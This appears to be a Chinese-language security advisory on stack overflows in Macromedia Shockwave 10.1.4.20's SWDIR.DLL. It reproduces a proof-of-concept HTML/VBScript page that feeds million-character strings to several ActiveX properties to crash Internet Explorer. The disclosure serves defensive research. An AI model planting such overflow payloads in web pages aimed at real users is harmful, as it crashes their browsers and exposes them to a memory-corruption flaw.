发布日期：2007-03-06
更新日期：2007-03-07

受影响系统：

Macromedia Shockwave 10.1.4.20

描述：

---

BUGTRAQ  ID: 22842

Macromedia Shockwave是专门播放使用Director Shockwave Studio制作的网页的外挂软件，也可以观看Flash网页。

Shockwave的SWDIR.DLL库中存在多个栈溢出漏洞，如果用户使用安装了Shockwave的浏览器访问恶意站点的话，就可能触发这些溢出，导致浏览器拒绝服务。

<*来源：shinnai （shinnai@autistici.org）
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
Macromedia SwDir.dll ver. 10.1.4.20 multiple methods Stack Overflow
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------


<object classid='clsid:233C1507-6A77-46A4-9443-F871F945D258' id='Shockwave' style="WIDTH: 0px; HEIGHT: 0px" ></object>
<select style="width: 404px" name="Pucca">
  <option value = "BGCOLOR">BGCOLOR</option>
  <option value = "SRC">SRC</option>
  <option value = "AutoStart">AutoStart</option>
  <option value = "Sound">Sound</option>
  <option value = "DrawLogo">DrawLogo</option>
  <option value = "DrawProgress">DrawProgress</option>
  <option value = "Quoting">Quoting...</option>
</select>



<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
  on error resume next
   if Pucca.value="BGCOLOR" then
     argCount   = 1
     arg1=String(1000000, "A")
     Shockwave.BGCOLOR = arg1  
   elseif Pucca.value="SRC" then
     argCount   = 1
     arg1=String(1000000, "A")
     Shockwave.SRC = arg1
   elseif Pucca.value = "AutoStart" then
     argCount = 1
     arg1=String(1000000, "A")
     Shockwave.AutoStart = arg1
   elseif Pucca.value = "Sound" then
     argCount = 1
     arg1=String(1000000, "A")
     Shockwave.Sound = arg1
   elseif Pucca.value = "DrawLogo" then
     argCount = 1
     arg1=String(1000000, "A")
     Shockwave.DrawLogo = arg1
   elseif Pucca.value = "DrawProgress" then
     argCount = 1
     arg1=String(1000000, "A")
     Shockwave.DrawProgress = arg1
   else
     MsgBox "Hence to fight and conquer in all your battles is not supreme excellence;" & vbCrLf & _
     "supreme excellence consists in breaking the enemy's resistance without fighting."
   end if
End Sub
</script>
</span></span>
</code></pre>

建议：

---

厂商补丁：

Macromedia
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.macromedia.com/

浏览次数：3155
严重程度：0（网友投票）